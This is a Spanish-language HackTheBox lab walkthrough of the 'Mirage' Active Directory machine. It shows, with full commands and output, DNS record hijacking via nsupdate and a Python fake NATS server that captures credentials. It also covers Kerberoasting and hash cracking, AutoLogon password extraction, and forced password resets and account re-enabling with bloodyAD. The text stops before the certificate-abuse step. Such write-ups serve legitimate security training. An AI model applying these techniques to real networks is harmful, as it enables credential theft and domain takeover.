Mirage – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar mirage


Sinopsis Link to heading

“Mirage” es una máquina de dificultad Difícil de la plataforma HackTheBox enfocada en explotación a entornos Active Directory (AD). En esta máquina nos enfocaremos en explotación a un servicio Network Application Transfer Standard (NATS) para obtener credenciales para un dominio, movimiento lateral en un entorno AD, habilitar cuentas deshabilitadas y abusar de Active Directory Certificate Services a ciegas por medio de escalada ESC10.


User / Usuario Link to heading

Empezamos un rápido escaneo con Nmap buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.221.181

Encontramos múltiples puertos abiertos. Entre ellos tenemos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 2049 Network File System (NFS), 4222 un servicio no identificado de momento, 5985 WinRM; entre otros:

❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001,49664,49665,49666,49667,49669,51454,52697,54595,54596,54612,56192,56212,61070 10.129.221.181

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 18:20 -04
Nmap scan report for 10.129.221.181
Host is up (0.45s latency).

PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-07-21 05:20:49Z)
111/tcp   open  rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  mountd          1-3 (RPC #100005)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":462,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
|   date: 2025-07-21T05:21:54
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 392.53 seconds

Del output podemos ver servicios como Kerberos, Microsoft RPC, LDAP y SMB lo cual indica que podemos estar a ante un entorno Active Directory (AD).

De la misma manera podemos obtener información acerca del dominio con la herramienta NetExec usando el servicio SMB:

❯ nxc smb 10.129.221.181

SMB         10.129.221.181  445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)

Podemos ver el nombre de máquina dc01 y un dominio mirage.htb. Dado que dc01 puede indicar Domain Controller, éste podría ser el Domain Controller (DC) de un entorno AD.

También podemos ver del último output NTLM: False, lo cual podría indicar que la autenticación NTLM está deshabilitada y sólo se permite mediante Kerberos.

Agregamos el nombre de máquina (dc01), FQDN (dc01.mirage.htb) y dominio (mirage.htb), junto con la dirección IP de la máquina víctima, al archivo /etc/host en nuestra máquina de atacantes:

❯ echo '10.129.221.181 dc01 dc01.mirage.htb mirage.htb' | sudo tee -a /etc/hosts

Adicionalmente, recordemos que habíamos visto el puerto 4222 abierto. Buscando si éste es algún puerto por defecto para algún servicio obtenemos:

Información
Port 4222 is commonly associated with the Network Application Transfer Standard (NATS) messaging system. It is the default port used for client connections to a NATS server. Additionally, port 4222 can be used for real-time task pushes to assets in some systems.

NATS es el acrónimo para Network Application Transfer Standard:

Información
NATS or Network Application Transfer Standard, is a high-performance, open-source messaging system designed for cloud-native applications, IoT messaging, and microservices architectures.

Por lo que puede que volvamos a este servicio más tarde.

Dado que el servicio NFS estaba expuesto, podemos ver si hay recursos disponibles en éste. Esto lo podemos revisar utilizando el comando showmount:

❯ showmount -e dc01.mirage.htb

Export list for dc01.mirage.htb:
/MirageReports (everyone)

Tenemos un directorio que podemos montar llamado /MirageReports. Dado que éste tiene la flag (everyone), esto significa que cualquier cliente (es decir, cualquier dirección IP) puede montar el recurso.

Creamos un directorio en donde montaremos el recurso accesible (el cual en mi caso llamaré MiracleReportsExport):

❯ mkdir MirageReportsExport

Luego usamos el comando mount para montar el recurso:

❯ sudo mount -t nfs dc01.mirage.htb:/MirageReports ./MirageReportsExport -o nolock

Esto debería de haber montado el recurso compartido.

Podemos revisar el contenido del recurso MirageReports montado:

❯ cd MirageReportsExport

❯ ls -la

total 17493
drwxrwxrwx+ 2 nobody  nogroup      64 May 26 17:41 .
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Jul 20 18:54 ..
-rwx------+ 1 nobody  nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody  nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf

Podemos ver 2 archivos PDF.

Para acceder a estos archivos PDF podemos copiarlos desde la montura a nuestra máquina de atacantes:

❯ sudo cp Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf ..

Y cambiar el permiso de los archivos copiados para poder leerlos (requiere privilegios):

❯ cd ..

❯ sudo chmod 777 Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf

Ya que ya extrajimos todos los contenidos disponibles, y antes de que se nos olvide, desmontamos el recurso:

❯ sudo umount ./MirageReportsExport

Abriendo el archivo Incident_Report_Missing_DNS_Record_nats-svc.pdf muestra un problema donde el equipo de desarrollo no fue capaz de resolver al dominio nats-svc.mirage.htb para un servicio NATS:

Mirage 1

El problema yace en que algunos servicios tratan de conectarse al dominio nats-svc.mirage.htb; pero el sistema no sabe resolver a este dominio (servicio DNS) y falla, retornando un error.

También dan evidencia acerca de este problema:

Mirage 2

Finalmente, en el mismo reporte proveen algunas consideraciones de seguridad (“Security Considerations”):

Mirage 3

Security Consideration:

In development environments, fixed service names such as nats-svc.mirage.htb
are often hardcoded in applications. If the DNS record is missing, some apps
may still attempt to connect to that name. This behavior could be abused by
attackers if DNS records are hijacked.
The Security Team should monitor such cases closely to ensure no
unauthorized DNS responses are injected or spoofed in the network.

Esta consideración claramente nos da una pista sobre qué hacer: secuestrar un registro DNS de manera que éste resuelva a nuestra máquina de atacantes.

Por el otro lado, el segundo archivo Mirage_Authentication_Hardening_Report.pdf muestra lo que NetExec ya había mostrado; la autenticación NTLM ha sido deshabilitada y sólo la autenticación mediante Kerberos está aceptada:

Mirage 4

Podemos revisar el servicio por el puerto 4222 (el cual hemos visto que está corriendo NATS) con cURL:

❯ curl http://dc01.mirage.htb:4222/

curl: (1) Received HTTP/0.9 when not allowed

Obtenemos un error el cual puede ser corregido con la flag --http0.9:

❯ curl -s --http0.9 http://dc01.mirage.htb:4222/

INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":559,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
-ERR 'Authorization Violation'

Pero se nos deniega el acceso.

Por lo que podemos intentar lo siguiente: i) Crear un simple script en Python el cual emula un servicio NATS y ii) Modificar los registros DNS de la máquina víctima de manera que el subdominio nats-svc.mirage.htb resuelve a nuestra máquina de atacantes.

Primero, creamos el script en Python el cual emula un servidor NATS:

#!/usr/bin/python3
import socket


HOST: str = '0.0.0.0'
PORT: int = 4222


def run_fake_nats_server()->None:
    """
    Emulate a fake NATS server
    """
    print(f"[*] Fake NATS Server listening on {HOST}:{PORT}")
    # Create a socket that will handle the connection
    s = socket.socket()
    s.bind(("0.0.0.0", 4222))
    s.listen(5)
    # Start listening for a connection
    while True:
        client, addr = s.accept()
        try:
            print(f"[+] Connection from {addr}")
            # Send fake INFO (mandatory for handshake NATS)
            client.sendall(b'INFO {"server_id":"fake","version":"2.11.0","auth_required":true}\r\n')
            data = client.recv(1024)
            print("[+] Request received:")
            print(data.decode())
        except Exception as e:
            print(f"[-] Something happened:\n{e}")
        # Ensure to close the connection
        finally:
            client.close()


if __name__ == "__main__":
    run_fake_nats_server()

Segundo, en otra terminal (sin apagar/echar abajo el servidor server/listener NATS) modificamos los registros DNS con nsupdate para que al subdominio nats-svc.mirage.htb resuelva a nuestra IP de atacantes:

❯ nsupdate

> server 10.129.221.181
> update add nats-svc.mirage.htb 3600 A 10.10.16.80
> send

Donde 10.129.221.181 es la IP de la máquina víctima y 10.10.16.80 es la IP de nuestra máquina de atacantes.

Luego de algunos segundos, obtenemos una conexión en nuestro servidor NATS con Python:

❯ python3 fake_nats_server.py

[*] Fake NATS Server listening on 0.0.0.0:4222
[+] Connection from ('10.129.221.181', 50254)
[+] Request received:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}

Obtenemos un usuario Dev_Account_A y contraseña hx5h7F5554fP@1337!.

Podemos así tratar de acceder al servicio NATS con estas credenciales. Para este propósito, basados en la documentación oficial de NATS, podemos tratar de instalar el binario que interactúa con este servicio usando su repositorio oficial. En mi caso descargaré el archivo amd64.deb:

❯ wget https://github.com/nats-io/natscli/releases/download/v0.2.4/nats-0.2.4-amd64.deb -q

Y lo instalamos:

❯ sudo dpkg -i nats-0.2.4-amd64.deb

Una vez instalado, podemos tratar de acceder al servicio NATS utilizando las credenciales obtenidas:

❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222  sub '>' --raw

nil body
{"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ"},"ts":"2025-07-21T07:45:02.1485087Z"}
{"type":"io.nats.jetstream.advisory.v1.api_audit","id":"JY0m358Lqb1BG90redFVCz","timestamp":"2025-07-21T07:45:02.1485087Z","server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","client":{"start":"2025-07-21T00:45:02.1472004-07:00","host":"dead:beef::88","id":649,"acc":"dev","user":"Dev_Account_A","name":"NATS CLI Version 0.2.2","lang":"go","ver":"1.41.1","rtt":539400,"server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","kind":"Client","client_type":"nats"},"subject":"$JS.API.STREAM.INFO.auth_logs","response":"{\"type\":\"io.nats.jetstream.api.v1.stream_info_response\",\"total\":0,\"offset\":0,\"limit\":0,\"config\":{\"name\":\"auth_logs\",\"subjects\":[\"logs.auth\"],\"retention\":\"limits\",\"max_consumers\":-1,\"max_msgs\":100,\"max_bytes\":1048576,\"max_age\":0,\"max_msgs_per_subject\":-1,\"max_msg_size\":-1,\"discard\":\"new\",\"storage\":\"file\",\"num_replicas\":1,\"duplicate_window\":120000000000,\"compression\":\"none\",\"allow_direct\":true,\"mirror_direct\":false,\"sealed\":false,\"deny_delete\":true,\"deny_purge\":true,\"allow_rollup_hdrs\":false,\"consumer_limits\":{},\"allow_msg_ttl\":false,\"metadata\":{\"_nats.level\":\"1\",\"_nats.req.level\":\"0\",\"_nats.ver\":\"2.11.3\"}},\"created\":\"2025-05-05T07:18:19.6244845Z\",\"state\":{\"messages\":5,\"bytes\":570,\"first_seq\":1,\"first_ts\":\"2025-05-05T07:18:56.6788658Z\",\"last_seq\":5,\"last_ts\":\"2025-05-05T07:19:27.2106658Z\",\"num_subjects\":1,\"consumer_count\":0},\"cluster\":{\"leader\":\"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ\"},\"ts\":\"2025-07-21T07:45:02.1485087Z\"}"}

Podemos ver un “stream” llamado auth_logs.

Basados en la documentación oficial de NATS y este blog, podemos tratar de leer “streams” ejecutando:

nats stream view <stream>

Por tanto, vemos el stream llamado auth_logs:

❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 stream view 'auth_logs'

[1] Subject: logs.auth Received: 2025-05-05 03:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[2] Subject: logs.auth Received: 2025-05-05 03:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[3] Subject: logs.auth Received: 2025-05-05 03:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[4] Subject: logs.auth Received: 2025-05-05 03:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[5] Subject: logs.auth Received: 2025-05-05 03:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


20:50:18 Reached apparent end of data

Obtenemos un usuario david.jjackson y una contraseña pN8kQmn6b86!1234@.

Revisamos con Kerbrute si este usuario existe en el dominio:

❯ echo 'david.jjackson' > david_jjackson_name.txt

❯ kerbrute userenum -d mirage.htb --dc 10.129.221.181 david_jjackson_name.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/20/25 - Ronnie Flathers @ropnop

2025/07/20 20:56:36 >  Using KDC(s):
2025/07/20 20:56:36 >   10.129.221.181:88

2025/07/20 20:56:36 >  [+] VALID USERNAME:       david.jjackson@mirage.htb
2025/07/20 20:56:36 >  Done! Tested 1 usernames (1 valid) in 0.267 seconds

Dado que sólo la autenticación con Kerberos está habilitada, podemos tratar de obtener un Ticket Granting Ticket (TGT) en nombre del usuario david.jjackson utilizando la herramienta getTGT.py de la suite de Impacket:

❯ impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Obtenemos el error KRB_AP_ERR_SKEW(Clock skew too great).

Para evitar este error, utilizamos faketime junto con ntpdate (instalables con sudo apt faketime ntpdate -y) y utilizamos el comando anterior:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in david.jjackson.ccache

Dado que tenemos credenciales válidas, podemos revisar si existen usuarios Kerberoasteable (vulnerables a Kerberoasting) con impacket-GetUserSPNs:

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs mirage.htb/david.jjackson -k -no-pass -dc-ip 10.129.221.181 -dc-host dc01.mirage.htb -request

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName      Name          MemberOf                                                             PasswordLastSet             LastLogon                   Delegation
------------------------  ------------  -------------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/exchange.mirage.htb  nathan.aadam  CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb  2025-06-23 17:18:18.584667  2025-07-04 16:01:43.511763         



$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$9171d33b10880028a18a02b092848571$6b579b17698d6e0e6d322f9560e444034d713031ca28f1ec0ea18079078d332487419a50e174a576ed242b6e7b505baae305bb370e98edc66a9fe76833e5edea3ae80c6ac10faa4f5cb64339a40c82720add663b31be8b52b3cd48cf0204a2868dcaa8a99ab6d8fe18580ea217d1d79d4577bc1bffd17298aeab1e54428c02be320222f35aa5d55cdf03baae739d2cbabacac56287c7cb0d4cb7ea2acf7ba98f9d8af0a66959c2a7b5ba90b88b096966cda064cb44425bf87123a9288cab9fc5493873691dd2d3789524157d08ce07f7fcaea14b46df888de4044d1c18c30188317c5345e7d9fd47acc3ef292e7fd9c8ebafef57758028a2fe75aaa5e29023fee25fd39bb53f8d0de33455bf483f8404da8c181a9f26567d3331a1cfd5d603815ccdd9bc04e267250c80135d480c3b603198a72c7fd95bd38b86a4e8ee4357f1965d482059dd2c31c3aef6040ad27d9144a30d7328376800a3c45327c67a6e7fc48aff5bd2fa9c9eaa52013f29216a2f87b688058eba8662e531a006f2cb282a0d20cbf1a0339f96f241f667d5b3ee56f7a59a6a6bbc88c62570bd411c07e600716f716dc3a48c1008376f5dcc3c1e4be531058e398d77eb9e0fffb6bdb9a27cae2ce87e43a4eca43dc96f0d8fc748e7f6cbdcf51cf8230cf6a7f41cc00eb7f9fec9239c2cd867b357ab0d7d664adf6b4ec090521af376c252135adc4d996b8c99227466960e7eac60cb20764bda91828005282065706c61888f015b9ef1c631c757d1a365075dbbb6acf0bc9a34af347f1cffe71d7a5a3b53a13f0c5d83f4b52fefc6b6a07ab2ab16f0c1f8bd38667c439b5d5023131666a274cc054875c6108d1b8a89dc61f574836e6f0f78a89d1c560c672293d5a5f6a558ca8981b4f9dea9d680d4127512524b422657efa753483dcbdcf67c36da64e1ce1a7e52e63ffbc46a933347e83aff443fce32a2a3cc9aa7cbaf4a1c4550e5b2039a380b5c64a8a75c1dd6e727a9ce0318ae886f47111028c2f0f7c7c1b641034b61c819fc85deba6fdbe5d3ab91dd9c0a7b7aea630013058538808a101d5c18479a7624857ac8c8413b45962373f9e279d4cc678ccfdc09242c97599f404f96d25aec4e23c041b0f1c0f03ef2239cf4e3a72e3ef5f29e1385c12690328d858db3bfe926e59fd09605c8f2dbc2d53cee085d2d1c6bd60081e3a46c96bc77300b67f5922c7f96ad5a2f954b620bef0e8bf9746b1aaa84dca6126bc4fe3ff7df07a42d724d0d7825bf2dc996c2df0318f50264a5c46a604729ac5e141afc4b2e5299d5deae8222718f5f1684bbcf609afe3c877c121cf8d979419ddf8593633822d701ac05ab1e7d9df2c4e824c6fc97d51b93f7170fb2b7c46522e806e7c865685771c376d9bfb74f144462bb9120570ae6f2b77dc765caa8b86bab10d65a68bd3faca1d5e1690900aa59879fe55b47130a03e9cfd4170afb698f9ee76bccb72d885f29ceb535ce4bd59df80a8446868cc2937ca3f30fc908238956d4b364b21b63d384dc1c3e64531067158223f8dc64c0ea8eee3dbbf583ae9c39ce8f5b04c5

Obtenemos un hash.

Guardamos este hash en un archivo e intentamos un Brute Force Password Cracking con JohnTheRipper (john) utilizando el diccionario de contraseñas rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt nathan_aadam_hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3edc#EDC3        (?)
1g 0:00:00:08 DONE (2025-07-20 22:01) 0.1218g/s 1518Kp/s 1518Kc/s 1518KC/s 3hackfu..3eb45ac9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Podemos tratar de mapear el dominio con Bloodhound. Para ellos primero extraemos un TGT del usuario david.jjackson y usando éste con bloodhound-ce-python (dado que en mi caso utilizo Bloodhound: Community Edition, o CE):

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -c ALL -u david.jjackson -k -no-pass -d mirage.htb -ns 10.129.221.181 --zip

INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: mirage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 01M 06S
INFO: Compressing output into 20250721043420_bloodhound.zip

Subimos el archivo .zip generado a Bloodhound, podemos ver que el usuario es nathan.aadam es parte del grupo IT_Admins; grupo el cual es miembro de Remote Management Users. Esto indica que como el usuario nathan.aadams podemos acceder a la máquina víctima a través del servicio WinRM. Para este propósito, primero solicitamos un TGT como el usuario nathan.aadams (obtenido del Kerberoasting):

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in nathan.aadam.ccache

Podemos utilizar NetExec para obtener un archivo de configuración para tratar de acceder a la máquina con evil-winrm con autenticación de Kerberos (junto con faketime y ntpdate para evadir errores de tiempo):

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc smb dc01.mirage.htb -k --use-kcache --generate-krb5-file /tmp/krb5.conf
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] MIRAGE.HTB\david.jjackson from ccache

Una vez hemos generado el archivo de condiguración lo copiamos:

❯ cat /tmp/krb5.conf

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.MIRAGE.HTB
        admin_server = dc01.MIRAGE.HTB
        default_domain = MIRAGE.HTB
    }

[domain_realm]
    .MIRAGE.HTB = MIRAGE.HTB
    MIRAGE.HTB = MIRAGE.HTB

❯ sudo cp /tmp/krb5.conf /etc/krb5.conf

Y usamos el TGT para el usuario nathan.aadams para acceder como este usuario a través de evil-winrm:

❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>

Podemos extraer la flag desde el Desktop del usuario nathan.aadam.


NT Authority/System - Administrator Link to heading

Buscamos por credenciales de AutoLogon en la máquina víctima y obtenemos algo:

*Evil-WinRM* PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-String 'LastUsedUsername|DefaultPassword'

    LastUsedUsername    REG_SZ    mark.bbond
    DefaultPassword    REG_SZ    1day@atime

Obtenemos credenciales para un usuario llamado mark.bbond.

Buscando por este usuario en Bloodhound podemos ver que el usuario mark.bbond es parte del grupo IT_Support, grupo el cual tiene el permiso ForceChangePassword sobre el usuario javier.mmarshall. Al mismo tiempo, el usuario javier.mmarshall tiene el permiso ReadGMSAPassword sobre la cuenta de máquina Mirage-Service$. En resumen, el camino mostrado por Bloodhound es:

Mirage 6

El plan es entonces:

  1. Dado que mark.bbond es parte del grupo IT_Support, cambiamos la contraseña del usuario javier.mmarshall.
  2. Una vez hemos cambiado la contraseña del usuario javier.mmarshall, podemos aprovecharnos del permiso ReadGMSAPassword para leer el hash NTLM de la cuenta mirage-service$.

Primero, solicitamos un TGT como el usuario mark.bbond:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/mark.bbond:'1day@atime' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in mark.bbond.ccache

Y cambiamos la contraseña del usuario javier.mmarshall utilizando el TGT de mark.bbond con bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!'

[+] Password changed successfully!

Donde hemos cambiado su contraseña a GunZF0x123$!.

Tratamos de obtener un TGT como el usuario javier.marshall:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

Obtenemos el error KDC_ERR_CLIENT_REVOKED. ¿Por qué?

Si revisamos los atributos del usuario javier.mmarshall podemos ver que dentro de userAccountControl tiene ACCOUNTDISABLE tal cual como podemos ver con bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall | grep -a userAccountControl

userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

o:

❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb

Esto también puede ser hallado buscando por este usuario en Bloodhound, buscando por el usuario javier.mmarshall y revisando su flag/atributo Enlabled:

Mirage 7

Donde podemos ver que el valor de este atributo es False (es decir, la cuenta está deshabilitada).

Por ende, podemos tratar de habilitar esta cuenta utilizando el TGT de mark.bbond junto con bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl

